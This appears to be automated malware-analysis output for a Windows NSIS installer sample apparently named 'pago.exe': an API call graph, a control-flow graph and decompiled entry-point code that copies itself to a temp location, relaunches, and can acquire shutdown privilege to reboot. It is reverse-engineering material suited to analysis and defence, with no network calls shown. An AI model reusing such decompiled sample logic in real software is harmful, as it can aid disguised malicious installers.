CreateBrushIndirect 4936->4937 4938 4045af DeleteObject 4936->4938 4937->4926 4938->4937 5586 401b9b 5587 401ba8 5586->5587 5588 401bec 5586->5588 5591 401c31 5587->5591 5595 401bbf 5587->5595 5589 401bf1 5588->5589 5590 401c16 GlobalAlloc 5588->5590 5599 40239d 5589->5599 5607 40653d lstrcpynW 5589->5607 5592 40657a 17 API calls 5590->5592 5593 40657a 17 API calls 5591->5593 5591->5599 5592->5591 5596 402397 5593->5596 5605 40653d lstrcpynW 5595->5605 5596->5599 5600 405b9d MessageBoxIndirectW 5596->5600 5597 401c03 GlobalFree 5597->5599 5600->5599 5601 401bce 5606 40653d lstrcpynW 5601->5606 5603 401bdd 5608 40653d lstrcpynW 5603->5608 5605->5601 5606->5603 5607->5597 5608->5599 5609 40261c 5610 402da6 17 API calls 5609->5610 5611 402623 5610->5611 5614 40602d GetFileAttributesW CreateFileW 5611->5614 5613 40262f 5614->5613 5017 40259e 5018 402de6 17 API calls 5017->5018 5019 4025a8 5018->5019 5020 402d84 17 API calls 5019->5020 5021 4025b1 5020->5021 5022 40292e 5021->5022 5023 4025d9 RegEnumValueW 5021->5023 5024 4025cd RegEnumKeyW 5021->5024 5025 4025f5 RegCloseKey 5023->5025 5026 4025ee 5023->5026 5024->5025 5025->5022 5026->5025 5615 40149e 5616 4014ac PostQuitMessage 5615->5616 5617 40239d 5615->5617 5616->5617 4172 4015a3 4173 402da6 17 API calls 4172->4173 4174 4015aa SetFileAttributesW 4173->4174 4175 4015bc 4174->4175 4176 401fa4 4177 402da6 17 API calls 4176->4177 4178 401faa 4177->4178 4179 40559f 24 API calls 4178->4179 4180 401fb4 4179->4180 4191 405b20 CreateProcessW 4180->4191 4185 40292e 4186 401fcf 4187 401fd4 4186->4187 4188 401fdf 4186->4188 4199 406484 wsprintfW 4187->4199 4190 401fdd CloseHandle 4188->4190 4190->4185 4192 405b53 CloseHandle 4191->4192 4193 401fba 4191->4193 4192->4193 4193->4185 4193->4190 4194 4069b5 WaitForSingleObject 4193->4194 4195 4069cf 4194->4195 4196 4069e1 GetExitCodeProcess 4195->4196 4200 406946 4195->4200 4196->4186 4199->4190 4201 406963 PeekMessageW 4200->4201 4202 406973 WaitForSingleObject 4201->4202 4203 406959 DispatchMessageW 4201->4203 4202->4195 4203->4201 4259 40252a 4270 402de6 4259->4270 4262 402da6 17 API calls 4263 40253d 4262->4263 4264 402548 RegQueryValueExW 4263->4264 4269 40292e 4263->4269 4265 40256e RegCloseKey 4264->4265 4266 402568 4264->4266 4265->4269 4266->4265 4275 406484 wsprintfW 4266->4275 4271 402da6 17 API calls 4270->4271 4272 402dfd 4271->4272 4273 4063aa RegOpenKeyExW 4272->4273 4274 402534 4273->4274 4274->4262 4275->4265 5618 40202a 5619 402da6 17 API calls 5618->5619 5620 402031 5619->5620 5621 40690a 5 API calls 5620->5621 5622 402040 5621->5622 5623 40205c GlobalAlloc 5622->5623 5628 4020cc 5622->5628 5624 402070 5623->5624 5623->5628 5625 40690a 5 API calls 5624->5625 5626 402077 5625->5626 5627 40690a 5 API calls 5626->5627 5629 402081 5627->5629 5629->5628 5633 406484 wsprintfW 5629->5633 5631 4020ba 5634 406484 wsprintfW 5631->5634 5633->5631 5634->5628 5635 4021aa 5636 402da6 17 API calls 5635->5636 5637 4021b1 5636->5637 5638 402da6 17 API calls 5637->5638 5639 4021bb 5638->5639 5640 402da6 17 API calls 5639->5640 5641 4021c5 5640->5641 5642 402da6 17 API calls 5641->5642 5643 4021cf 5642->5643 5644 402da6 17 API calls 5643->5644 5645 4021d9 5644->5645 5646 402218 CoCreateInstance 5645->5646 5647 402da6 17 API calls 5645->5647 5650 402237 5646->5650 5647->5646 5648 401423 24 API calls 5649 4022f6 5648->5649 5650->5648 5650->5649 5651 403baa 5652 403bb5 5651->5652 5653 403bb9 5652->5653 5654 403bbc GlobalAlloc 5652->5654 5654->5653 4310 40352d SetErrorMode GetVersionExW 4311 4035b7 4310->4311 4312 40357f GetVersionExW 4310->4312 4313 403610 4311->4313 4314 40690a 5 API calls 4311->4314 4312->4311 4315 40689a 3 API calls 4313->4315 4314->4313 4316 403626 lstrlenA 4315->4316 4316->4313 4317 403636 4316->4317 4318 40690a 5 API calls 4317->4318 4319 40363d 4318->4319 4320 40690a 5 API calls 4319->4320 4321 403644 4320->4321 4322 40690a 5 API calls 4321->4322 4323 403650 #17 OleInitialize SHGetFileInfoW 4322->4323 4401 40653d lstrcpynW 4323->4401 4326 40369d GetCommandLineW 4402 40653d lstrcpynW 4326->4402 4328 4036af 4329 405e39 CharNextW 4328->4329 4330 4036d5 CharNextW 4329->4330 4332 4036e6 4330->4332 4331 4037e4 4333 4037f8 GetTempPathW 4331->4333 4332->4331 4336 405e39 CharNextW 4332->4336 4345 4037e6 4332->4345 4403 4034fc 4333->4403 4335 403810 4337 403814 GetWindowsDirectoryW lstrcatW 4335->4337 4338 40386a DeleteFileW 4335->4338 4336->4332 4340 4034fc 12 API calls 4337->4340 4413 40307d GetTickCount GetModuleFileNameW 4338->4413 4342 403830 4340->4342 4341 40387d 4343 403941 4341->4343 4346 403932 4341->4346 4351 405e39 CharNextW 4341->4351 4342->4338 4344 403834 GetTempPathW lstrcatW SetEnvironmentVariableW SetEnvironmentVariableW 4342->4344 4502 403b12 4343->4502 4349 4034fc 12 API calls 4344->4349 4497 40653d lstrcpynW 4345->4497 4441 403bec 4346->4441 4350 403862 4349->4350 4350->4338 4350->4343 4366 40389f 4351->4366 4354 403a69 4509 405b9d 4354->4509 4355 403a7e 4356 403a86 GetCurrentProcess OpenProcessToken 4355->4356 4357 403afc ExitProcess 4355->4357 4359 403acc 4356->4359 4360 403a9d LookupPrivilegeValueW AdjustTokenPrivileges 4356->4360 4365 40690a 5 API calls 4359->4365 4360->4359 4362 403908 4368 405f14 18 API calls 4362->4368 4363 403949 4367 405b08 5 API calls 4363->4367 4370 403ad3 4365->4370 4366->4362 4366->4363 4371 40394e lstrcatW 4367->4371 4369 403914 4368->4369 4369->4343 4498 40653d lstrcpynW 4369->4498 4372 403ae8 ExitWindowsEx 4370->4372 4376 403af5 4370->4376 4373 40396a lstrcatW lstrcmpiW 4371->4373 4374 40395f lstrcatW 4371->4374 4372->4357 4372->4376 4373->4343 4377 40398a 4373->4377 4374->4373 4513 40140b 4376->4513 4380 403996 4377->4380 4381 40398f 4377->4381 4378 403927 4499 40653d lstrcpynW 4378->4499 4383 405aeb 2 API calls 4380->4383 4382 405a6e 4 API calls 4381->4382 4385 403994 4382->4385 4386 40399b SetCurrentDirectoryW 4383->4386 4385->4386 4387 4039b8 4386->4387 4388 4039ad 4386->4388 4501 40653d lstrcpynW 4387->4501 4500 40653d lstrcpynW 4388->4500 4391 40657a 17 API calls 4392 4039fa DeleteFileW 4391->4392 4393 403a06 CopyFileW 4392->4393 4398 4039c5 4392->4398 4393->4398 4394 403a50 4395 4062fd 36 API calls 4394->4395 4395->4343 4396 4062fd 36 API calls 4396->4398 4397 40657a 17 API calls 4397->4398 4398->4391 4398->4394 4398->4396 4398->4397 4399 405b20 2 API calls 4398->4399 4400 403a3a CloseHandle 4398->4400 4399->4398 4400->4398 4401->4326 4402->4328 4404 4067c4 5 API calls 4403->4404 4406 403508 4404->4406 4405 403512 4405->4335 4406->4405 4407 405e0c 3 API calls 4406->4407 4408 40351a 4407->4408 4409 405aeb 2 API calls 4408->4409 4410 403520 4409->4410 4516 40605c 4410->4516 4520 40602d GetFileAttributesW CreateFileW 4413->4520 4415 4030bd 4433 4030cd 4415->4433 4521 40653d lstrcpynW 4415->4521 4417 4030e3 4418 405e58 2 API calls 4417->4418 4419 4030e9 4418->4419 4522 40653d lstrcpynW 4419->4522 4421 4030f4 GetFileSize 4422 4031ee 4421->4422 4440 40310b 4421->4440 4523 403019 4422->4523 4424 4031f7 4426 403227 GlobalAlloc 4424->4426 4424->4433 4535 4034e5 SetFilePointer 4424->4535 4425 4034cf ReadFile 4425->4440 4534 4034e5 SetFilePointer 4426->4534 4428 40325a 4432 403019 6 API calls 4428->4432 4430 403210 4434 4034cf ReadFile 4430->4434 4431 403242 4435 4032b4 31 API calls 4431->4435 4432->4433 4433->4341 4436 40321b 4434->4436 4438 40324e 4435->4438 4436->4426 4436->4433 4437 403019 6 API calls 4437->4440 4438->4433 4438->4438 4439 40328b SetFilePointer 4438->4439 4439->4433 4440->4422 4440->4425 4440->4428 4440->4433 4440->4437 4442 40690a 5 API calls 4441->4442 4443 403c00 4442->4443 4444 403c06 4443->4444 4445 403c18 4443->4445 4551 406484 wsprintfW 4444->4551 4446 40640b 3 API calls 4445->4446 4447 403c48 4446->4447 4449 403c67 lstrcatW 4447->4449 4451 40640b 3 API calls 4447->4451 4450 403c16 4449->4450 4536 403ec2 4450->4536 4451->4449 4454 405f14 18 API calls 4455 403c99 4454->4455 4456 403d2d 4455->4456 4458 40640b 3 API calls 4455->4458 4457 405f14 18 API calls 4456->4457 4459 403d33 4457->4459 4460 403ccb 4458->4460 4461 403d43 LoadImageW 4459->4461 4462 40657a 17 API calls 4459->4462 4460->4456 4465 403cec lstrlenW 4460->4465 4468 405e39 CharNextW 4460->4468 4463 403de9 4461->4463 4464 403d6a RegisterClassW 4461->4464 4462->4461 4467 40140b 2 API calls 4463->4467 4466 403da0 SystemParametersInfoW CreateWindowExW 4464->4466 4496 403df3 4464->4496 4469 403d20 4465->4469 4470 403cfa lstrcmpiW 4465->4470 4466->4463 4471 403def 4467->4471 4473 403ce9 4468->4473 4472 405e0c 3 API calls 4469->4472 4470->4469 4474 403d0a GetFileAttributesW 4470->4474 4475 403ec2 18 API calls 4471->4475 4471->4496 4476 403d26 4472->4476 4473->4465 4477 403d16 4474->4477 4478 403e00 4475->4478 4552 40653d lstrcpynW 4476->4552 4477->4469 4480 405e58 2 API calls 4477->4480 4481 403e0c ShowWindow 4478->4481 4482 403e8f 4478->4482 4480->4469 4483 40689a 3 API calls 4481->4483 4544 405672 OleInitialize 4482->4544 4486 403e24 4483->4486 4485 403e95 4487 403eb1 4485->4487 4488 403e99 4485->4488 4489 403e32 GetClassInfoW 4486->4489 4491 40689a 3 API calls 4486->4491 4490 40140b 2 API calls 4487->4490 4494 40140b 2 API calls 4488->4494 4488->4496 4492 403e46 GetClassInfoW RegisterClassW 4489->4492 4493 403e5c DialogBoxParamW 4489->4493 4490->4496 4491->4489 4492->4493 4495 40140b 2 API calls 4493->4495 4494->4496 4495->4496 4496->4343 4497->4333 4498->4378 4499->4346 4500->4387 4501->4398 4503 403b2a 4502->4503 4504 403b1c CloseHandle 4502->4504 4564 403b57 4503->4564 4504->4503 4507 405c49 67 API calls 4508 403a5e OleUninitialize 4507->4508 4508->4354 4508->4355 4510 405bb2 4509->4510 4511 403a76 ExitProcess 4510->4511 4512 405bc6 MessageBoxIndirectW 4510->4512 4512->4511 4514 401389 2 API calls 4513->4514 4515 401420 4514->4515 4515->4357 4517 406069 GetTickCount GetTempFileNameW 4516->4517 4518 40352b 4517->4518 4519 40609f 4517->4519 4518->4335 4519->4517 4519->4518 4520->4415 4521->4417 4522->4421 4524 403022 4523->4524 4525 40303a 4523->4525 4526 403032 4524->4526 4527 40302b DestroyWindow 4524->4527 4528 403042 4525->4528 4529 40304a GetTickCount 4525->4529 4526->4424 4527->4526 4530 406946 2 API calls 4528->4530 4531 403058 CreateDialogParamW ShowWindow 4529->4531 4532 40307b 4529->4532 4533 403048 4530->4533 4531->4532 4532->4424 4533->4424 4534->4431 4535->4430 4537 403ed6 4536->4537 4553 406484 wsprintfW 4537->4553 4539 403f47 4554 403f7b 4539->4554 4541 403c77 4541->4454 4542 403f4c 4542->4541 4543 40657a 17 API calls 4542->4543 4543->4542 4557 4044e5 4544->4557 4546 4056bc 4547 4044e5 SendMessageW 4546->4547 4548 4056ce OleUninitialize 4547->4548 4548->4485 4550 405695 4550->4546 4560 401389 4550->4560 4551->4450 4552->4456 4553->4539 4555 40657a 17 API calls 4554->4555 4556 403f89 SetWindowTextW 4555->4556 4556->4542 4558 4044fd 4557->4558 4559 4044ee SendMessageW 4557->4559 4558->4550 4559->4558 4562 401390 4560->4562 4561 4013fe 4561->4550 4562->4561 4563 4013cb MulDiv SendMessageW 4562->4563 4563->4562 4565 403b65 4564->4565 4566 403b2f 4565->4566 4567 403b6a FreeLibrary GlobalFree 4565->4567 4566->4507 4567->4566 4567->4567 5655 732d2d43 5656 732d2d5b 5655->5656 5657 732d162f 2 API calls 5656->5657 5658 732d2d76 5657->5658 5659 401a30 5660 402da6 17 API calls 5659->5660 5661 401a39 ExpandEnvironmentStringsW 5660->5661 5662 401a60 5661->5662 5663 401a4d 5661->5663 5663->5662 5664 401a52 lstrcmpW 5663->5664 5664->5662 5670 4023b2 5671 4023ba 5670->5671 5673 4023c0 5670->5673 5672 402da6 17 API calls 5671->5672 5672->5673 5674 402da6 17 API calls 5673->5674 5675 4023ce 5673->5675 5674->5675 5676 4023dc 5675->5676 5677 402da6 17 API calls 5675->5677 5678 402da6 17 API calls 5676->5678 5677->5676 5679 4023e5 WritePrivateProfileStringW 5678->5679 4623 402434 4624 402467 4623->4624 4625 40243c 4623->4625 4627 402da6 17 API calls 4624->4627 4626 402de6 17 API calls 4625->4626 4628 402443 4626->4628 4629 40246e 4627->4629 4630 40244d 4628->4630 4634 40247b 4628->4634 4635 402e64 4629->4635 4632 402da6 17 API calls 4630->4632 4633 402454 RegDeleteValueW RegCloseKey 4632->4633 4633->4634 4636 402e78 4635->4636 4637 402e71 4635->4637 4636->4637 4639 402ea9 4636->4639 4637->4634 4640 4063aa RegOpenKeyExW 4639->4640 4641 402ed7 4640->4641 4642 402ee1 4641->4642 4643 402f8c 4641->4643 4644 402ee7 RegEnumValueW 4642->4644 4649 402f0a 4642->4649 4643->4637 4645 402f71 RegCloseKey 4644->4645 4644->4649 4645->4643 4646 402f46 RegEnumKeyW 4647 402f4f RegCloseKey 4646->4647 4646->4649 4648 40690a 5 API calls 4647->4648 4650 402f5f 4648->4650 4649->4645 4649->4646 4649->4647 4651 402ea9 6 API calls 4649->4651 4652 402f81 4650->4652 4653 402f63 RegDeleteKeyW 4650->4653 4651->4649 4652->4643 4653->4643 5680 732d1058 5682 732d1074 5680->5682 5681 732d10dd 5682->5681 5683 732d15b6 GlobalFree 5682->5683 5684 732d1092 5682->5684 5683->5684 5685 732d15b6 GlobalFree 5684->5685 5686 732d10a2 5685->5686 5687 732d10a9 GlobalSize 5686->5687 5688 732d10b2 5686->5688 5687->5688 5689 732d10c7 5688->5689 5690 732d10b6 GlobalAlloc 5688->5690 5692 732d10d2 GlobalFree 5689->5692 5691 732d15dd 3 API calls 5690->5691 5691->5689 5692->5681 5693 401735 5694 402da6 17 API calls 5693->5694 5695 40173c SearchPathW 5694->5695 5696 401757 5695->5696 5697 4014b8 5698 4014be 5697->5698 5699 401389 2 API calls 5698->5699 5700 4014c6 5699->5700 5701 401d38 5702 402d84 17 API calls 5701->5702 5703 401d3f 5702->5703 5704 402d84 17 API calls 5703->5704 5705 401d4b GetDlgItem 5704->5705 5706 402638 5705->5706 5707 40263e 5708 402652 5707->5708 5709 40266d 5707->5709 5710 402d84 17 API calls 5708->5710 5711 402672 5709->5711 5712 40269d 5709->5712 5720 402659 5710->5720 5713 402da6 17 API calls 5711->5713 5714 402da6 17 API calls 5712->5714 5715 402679 5713->5715 5716 4026a4 lstrlenW 5714->5716 5724 40655f WideCharToMultiByte 5715->5724 5716->5720 5718 40268d lstrlenA 5718->5720 5719 4026e7 5720->5719 5722 40610e 5 API calls 5720->5722 5723 4026d1 5720->5723 5721 4060df WriteFile 5721->5719 5722->5723 5723->5719 5723->5721 5724->5718

                                                                  Control-flow Graph

                                                                  • Executed
                                                                  • Not Executed
                                                                  control_flow_graph 0 40352d-40357d SetErrorMode GetVersionExW 1 4035b7-4035be 0->1 2 40357f-4035b3 GetVersionExW 0->2 3 4035c0 1->3 4 4035c8-403608 1->4 2->1 3->4 5 40360a-403612 call 40690a 4->5 6 40361b 4->6 5->6 11 403614 5->11 8 403620-403634 call 40689a lstrlenA 6->8 13 403636-403652 call 40690a * 3 8->13 11->6 20 403663-4036c5 #17 OleInitialize SHGetFileInfoW call 40653d GetCommandLineW call 40653d 13->20 21 403654-40365a 13->21 28 4036c7-4036c9 20->28 29 4036ce-4036e1 call 405e39 CharNextW 20->29 21->20 25 40365c 21->25 25->20 28->29 32 4037d8-4037de 29->32 33 4037e4 32->33 34 4036e6-4036ec 32->34 37 4037f8-403812 GetTempPathW call 4034fc 33->37 35 4036f5-4036fb 34->35 36 4036ee-4036f3 34->36 38 403702-403706 35->38 39 4036fd-403701 35->39 36->35 36->36 47 403814-403832 GetWindowsDirectoryW lstrcatW call 4034fc 37->47 48 40386a-403882 DeleteFileW call 40307d 37->48 41 4037c6-4037d4 call 405e39 38->41 42 40370c-403712 38->42 39->38 41->32 56 4037d6-4037d7 41->56 45 403714-40371b 42->45 46 40372c-403765 42->46 51 403722 45->51 52 40371d-403720 45->52 53 403781-4037bb 46->53 54 403767-40376c 46->54 47->48 66 403834-403864 GetTempPathW lstrcatW SetEnvironmentVariableW * 2 call 4034fc 47->66 62 403888-40388e 48->62 63 403a59-403a67 call 403b12 OleUninitialize 48->63 51->46 52->46 52->51 60 4037c3-4037c5 53->60 61 4037bd-4037c1 53->61 54->53 58 40376e-403776 54->58 56->32 64 403778-40377b 58->64 65 40377d 58->65 60->41 61->60 67 4037e6-4037f3 call 40653d 61->67 68 403894-4038a7 call 405e39 62->68 69 403935-40393c call 403bec 62->69 79 403a69-403a78 call 405b9d ExitProcess 63->79 80 403a7e-403a84 63->80 64->53 64->65 65->53 66->48 66->63 67->37 83 4038f9-403906 68->83 84 4038a9-4038de 68->84 78 403941-403944 69->78 78->63 81 403a86-403a9b GetCurrentProcess OpenProcessToken 80->81 82 403afc-403b04 80->82 86 403acc-403ada call 40690a 81->86 87 403a9d-403ac6 LookupPrivilegeValueW AdjustTokenPrivileges 81->87 89 403b06 82->89 90 403b09-403b0c ExitProcess 82->90 91 403908-403916 call 405f14 83->91 92 403949-40395d call 405b08 lstrcatW 83->92 88 4038e0-4038e4 84->88 104 403ae8-403af3 ExitWindowsEx 86->104 105 403adc-403ae6 86->105 87->86 95 4038e6-4038eb 88->95 96 4038ed-4038f5 88->96 89->90 91->63 103 40391c-403932 call 40653d * 2 91->103 106 40396a-403984 lstrcatW lstrcmpiW 92->106 107 40395f-403965 lstrcatW 92->107 95->96 101 4038f7 95->101 96->88 96->101 101->83 103->69 104->82 109 403af5-403af7 call 40140b 104->109 105->104 105->109 110 403a57 106->110 111 40398a-40398d 106->111 107->106 109->82 110->63 115 403996 call 405aeb 111->115 116 40398f-403994 call 405a6e 111->116 121 40399b-4039ab SetCurrentDirectoryW 115->121 116->121 123 4039b8-4039e4 call 40653d 121->123 124 4039ad-4039b3 call 40653d 121->124 128 4039e9-403a04 call 40657a DeleteFileW 123->128 124->123 131 403a44-403a4e 128->131 132 403a06-403a16 CopyFileW 128->132 131->128 133 403a50-403a52 call 4062fd 131->133 132->131 134 403a18-403a38 call 4062fd call 40657a call 405b20 132->134 133->110 134->131 142 403a3a-403a41 CloseHandle 134->142 142->131
                                                                  C-Code - Quality: 79%
                                                                  			_entry_() {
                                                                  				WCHAR* _v8;
                                                                  				signed int _v12;
                                                                  				void* _v16;
                                                                  				signed int _v20;
                                                                  				int _v24;
                                                                  				int _v28;
                                                                  				struct _TOKEN_PRIVILEGES _v40;
                                                                  				signed char _v42;
                                                                  				int _v44;
                                                                  				signed int _v48;
                                                                  				intOrPtr _v278;
                                                                  				signed short _v310;
                                                                  				struct _OSVERSIONINFOW _v324;
                                                                  				struct _SHFILEINFOW _v1016;
                                                                  				intOrPtr* _t88;
                                                                  				intOrPtr* _t94;
                                                                  				void _t97;
                                                                  				void* _t116;
                                                                  				WCHAR* _t118;
                                                                  				signed int _t120;
                                                                  				intOrPtr* _t124;
                                                                  				void* _t138;
                                                                  				void* _t144;
                                                                  				void* _t149;
                                                                  				void* _t153;
                                                                  				void* _t158;
                                                                  				signed int _t168;
                                                                  				void* _t171;
                                                                  				void* _t176;
                                                                  				intOrPtr _t178;
                                                                  				intOrPtr _t179;
                                                                  				intOrPtr* _t180;
                                                                  				int _t189;
                                                                  				void* _t190;
                                                                  				void* _t199;
                                                                  				signed int _t205;
                                                                  				signed int _t210;
                                                                  				signed int _t215;
                                                                  				int* _t219;
                                                                  				signed int _t227;
                                                                  				signed int _t230;
                                                                  				CHAR* _t232;
                                                                  				signed int _t234;
                                                                  				WCHAR* _t235;
                                                                  
                                                                  				0x440000 = 0x20;
                                                                  				_t189 = 0;
                                                                  				_v24 = 0;
                                                                  				_v8 = L"Error writing temporary file. Make sure your temp folder is valid.";
                                                                  				_v20 = 0;
                                                                  				SetErrorMode(0x8001); // executed
                                                                  				_v324.szCSDVersion = 0;
                                                                  				_v48 = 0;
                                                                  				_v44 = 0;
                                                                  				_v324.dwOSVersionInfoSize = 0x11c;
                                                                  				if(GetVersionExW( &_v324) == 0) {
                                                                  					_v324.dwOSVersionInfoSize = 0x114;
                                                                  					GetVersionExW( &_v324);
                                                                  					asm("sbb eax, eax");
                                                                  					_v42 = 4;
                                                                  					_v48 =  !( ~(_v324.szCSDVersion - 0x53)) & _v278 + 0xffffffd0;
                                                                  				}
                                                                  				if(_v324.dwMajorVersion < 0xa) {
                                                                  					_v310 = _v310 & 0x00000000;
                                                                  				}
                                                                  				 *0x434fb8 = _v324.dwBuildNumber;
                                                                  				 *0x434fbc = (_v324.dwMajorVersion & 0x0000ffff | _v324.dwMinorVersion & 0x000000ff) << 0x00000010 | _v48 & 0x0000ffff | _v42 & 0x000000ff;
                                                                  				if( *0x434fbe != 0x600) {
                                                                  					_t180 = E0040690A(_t189);
                                                                  					if(_t180 != _t189) {
                                                                  						 *_t180(0xc00);
                                                                  					}
                                                                  				}
                                                                  				_t232 = "UXTHEME";
                                                                  				do {
                                                                  					E0040689A(_t232); // executed
                                                                  					_t232 =  &(_t232[lstrlenA(_t232) + 1]);
                                                                  				} while ( *_t232 != 0);
                                                                  				E0040690A(0xb);
                                                                  				 *0x434f04 = E0040690A(9);
                                                                  				_t88 = E0040690A(7);
                                                                  				if(_t88 != _t189) {
                                                                  					_t88 =  *_t88(0x1e);
                                                                  					if(_t88 != 0) {
                                                                  						 *0x434fbc =  *0x434fbc | 0x00000080;
                                                                  					}
                                                                  				}
                                                                  				__imp__#17();
                                                                  				__imp__OleInitialize(_t189); // executed
                                                                  				 *0x434fc0 = _t88;
                                                                  				SHGetFileInfoW(0x42b228, _t189,  &_v1016, 0x2b4, _t189); // executed
                                                                  				E0040653D(0x433f00, L"NSIS Error");
                                                                  				E0040653D(0x440000, GetCommandLineW());
                                                                  				_t94 = 0x440000;
                                                                  				_t234 = 0x22;
                                                                  				 *0x434f00 = 0x400000;
                                                                  				if( *0x440000 == _t234) {
                                                                  					_t94 = 0x440002;
                                                                  				}
                                                                  				_t199 = CharNextW(E00405E39(_t94, 0x440000));
                                                                  				_v16 = _t199;
                                                                  				while(1) {
                                                                  					_t97 =  *_t199;
                                                                  					_t252 = _t97 - _t189;
                                                                  					if(_t97 == _t189) {
                                                                  						break;
                                                                  					}
                                                                  					_t210 = 0x20;
                                                                  					__eflags = _t97 - _t210;
                                                                  					if(_t97 != _t210) {
                                                                  						L17:
                                                                  						__eflags =  *_t199 - _t234;
                                                                  						_v12 = _t210;
                                                                  						if( *_t199 == _t234) {
                                                                  							_v12 = _t234;
                                                                  							_t199 = _t199 + 2;
                                                                  							__eflags = _t199;
                                                                  						}
                                                                  						__eflags =  *_t199 - 0x2f;
                                                                  						if( *_t199 != 0x2f) {
                                                                  							L32:
                                                                  							_t199 = E00405E39(_t199, _v12);
                                                                  							__eflags =  *_t199 - _t234;
                                                                  							if(__eflags == 0) {
                                                                  								_t199 = _t199 + 2;
                                                                  								__eflags = _t199;
                                                                  							}
                                                                  							continue;
                                                                  						} else {
                                                                  							_t199 = _t199 + 2;
                                                                  							__eflags =  *_t199 - 0x53;
                                                                  							if( *_t199 != 0x53) {
                                                                  								L24:
                                                                  								asm("cdq");
                                                                  								asm("cdq");
                                                                  								_t215 = L"NCRC" & 0x0000ffff;
                                                                  								asm("cdq");
                                                                  								_t227 = ( *0x40a2c2 & 0x0000ffff) << 0x00000010 |  *0x40a2c0 & 0x0000ffff | _t215;
                                                                  								__eflags =  *_t199 - (( *0x40a2be & 0x0000ffff) << 0x00000010 | _t215);
                                                                  								if( *_t199 != (( *0x40a2be & 0x0000ffff) << 0x00000010 | _t215)) {
                                                                  									L29:
                                                                  									asm("cdq");
                                                                  									asm("cdq");
                                                                  									_t210 = L" /D=" & 0x0000ffff;
                                                                  									asm("cdq");
                                                                  									_t230 = ( *0x40a2b6 & 0x0000ffff) << 0x00000010 |  *0x40a2b4 & 0x0000ffff | _t210;
                                                                  									__eflags =  *(_t199 - 4) - (( *0x40a2b2 & 0x0000ffff) << 0x00000010 | _t210);
                                                                  									if( *(_t199 - 4) != (( *0x40a2b2 & 0x0000ffff) << 0x00000010 | _t210)) {
                                                                  										L31:
                                                                  										_t234 = 0x22;
                                                                  										goto L32;
                                                                  									}
                                                                  									__eflags =  *_t199 - _t230;
                                                                  									if( *_t199 == _t230) {
                                                                  										 *(_t199 - 4) = _t189;
                                                                  										__eflags = _t199;
                                                                  										E0040653D(0x440800, _t199);
                                                                  										L37:
                                                                  										_t235 = L"C:\\Users\\engineer\\AppData\\Local\\Temp\\";
                                                                  										GetTempPathW(0x400, _t235);
                                                                  										_t116 = E004034FC(_t199, _t252);
                                                                  										_t253 = _t116;
                                                                  										if(_t116 != 0) {
                                                                  											L40:
                                                                  											DeleteFileW(L"1033"); // executed
                                                                  											_t118 = E0040307D(_t255, _v20); // executed
                                                                  											_v8 = _t118;
                                                                  											if(_t118 != _t189) {
                                                                  												L68:
                                                                  												E00403B12();
                                                                  												__imp__OleUninitialize();
                                                                  												if(_v8 == _t189) {
                                                                  													if( *0x434f94 == _t189) {
                                                                  														L77:
                                                                  														_t120 =  *0x434fac;
                                                                  														if(_t120 != 0xffffffff) {
                                                                  															_v24 = _t120;
                                                                  														}
                                                                  														ExitProcess(_v24);
                                                                  													}
                                                                  													if(OpenProcessToken(GetCurrentProcess(), 0x28,  &_v16) != 0) {
                                                                  														LookupPrivilegeValueW(_t189, L"SeShutdownPrivilege",  &(_v40.Privileges));
                                                                  														_v40.PrivilegeCount = 1;
                                                                  														_v28 = 2;
                                                                  														AdjustTokenPrivileges(_v16, _t189,  &_v40, _t189, _t189, _t189);
                                                                  													}
                                                                  													_t124 = E0040690A(4);
                                                                  													if(_t124 == _t189) {
                                                                  														L75:
                                                                  														if(ExitWindowsEx(2, 0x80040002) != 0) {
                                                                  															goto L77;
                                                                  														}
                                                                  														goto L76;
                                                                  													} else {
                                                                  														_push(0x80040002);
                                                                  														_push(0x25);
                                                                  														_push(_t189);
                                                                  														_push(_t189);
                                                                  														_push(_t189);
                                                                  														if( *_t124() == 0) {
                                                                  															L76:
                                                                  															E0040140B(9);
                                                                  															goto L77;
                                                                  														}
                                                                  														goto L75;
                                                                  													}
                                                                  												}
                                                                  												E00405B9D(_v8, 0x200010);
                                                                  												ExitProcess(2);
                                                                  											}
                                                                  											if( *0x434f1c == _t189) {
                                                                  												L51:
                                                                  												 *0x434fac =  *0x434fac | 0xffffffff;
                                                                  												_v24 = E00403BEC(_t265);
                                                                  												goto L68;
                                                                  											}
                                                                  											_t219 = E00405E39(0x440000, _t189);
                                                                  											if(_t219 < 0x440000) {
                                                                  												L48:
                                                                  												_t264 = _t219 - 0x440000;
                                                                  												_v8 = L"Error launching installer";
                                                                  												if(_t219 < 0x440000) {
                                                                  													_t190 = E00405B08(__eflags);
                                                                  													lstrcatW(_t235, L"~nsu");
                                                                  													__eflags = _t190;
                                                                  													if(_t190 != 0) {
                                                                  														lstrcatW(_t235, "A");
                                                                  													}
                                                                  													lstrcatW(_t235, L".tmp");
                                                                  													_t138 = lstrcmpiW(_t235, 0x441800);
                                                                  													__eflags = _t138;
                                                                  													if(_t138 == 0) {
                                                                  														L67:
                                                                  														_t189 = 0;
                                                                  														__eflags = 0;
                                                                  														goto L68;
                                                                  													} else {
                                                                  														__eflags = _t190;
                                                                  														_push(_t235);
                                                                  														if(_t190 == 0) {
                                                                  															E00405AEB();
                                                                  														} else {
                                                                  															E00405A6E();
                                                                  														}
                                                                  														SetCurrentDirectoryW(_t235);
                                                                  														__eflags =  *0x440800;
                                                                  														if( *0x440800 == 0) {
                                                                  															E0040653D(0x440800, 0x441800);
                                                                  														}
                                                                  														E0040653D(0x436000, _v16);
                                                                  														_t202 = "A" & 0x0000ffff;
                                                                  														_t144 = ( *0x40a25a & 0x0000ffff) << 0x00000010 | "A" & 0x0000ffff;
                                                                  														__eflags = _t144;
                                                                  														_v12 = 0x1a;
                                                                  														 *0x436800 = _t144;
                                                                  														do {
                                                                  															E0040657A(0, 0x42aa28, _t235, 0x42aa28,  *((intOrPtr*)( *0x434f10 + 0x120)));
                                                                  															DeleteFileW(0x42aa28);
                                                                  															__eflags = _v8;
                                                                  															if(_v8 != 0) {
                                                                  																_t149 = CopyFileW(L"C:\\Users\\engineer\\Desktop\\pago.exe", 0x42aa28, 1);
                                                                  																__eflags = _t149;
                                                                  																if(_t149 != 0) {
                                                                  																	E004062FD(_t202, 0x42aa28, 0);
                                                                  																	E0040657A(0, 0x42aa28, _t235, 0x42aa28,  *((intOrPtr*)( *0x434f10 + 0x124)));
                                                                  																	_t153 = E00405B20(0x42aa28);
                                                                  																	__eflags = _t153;
                                                                  																	if(_t153 != 0) {
                                                                  																		CloseHandle(_t153);
                                                                  																		_v8 = 0;
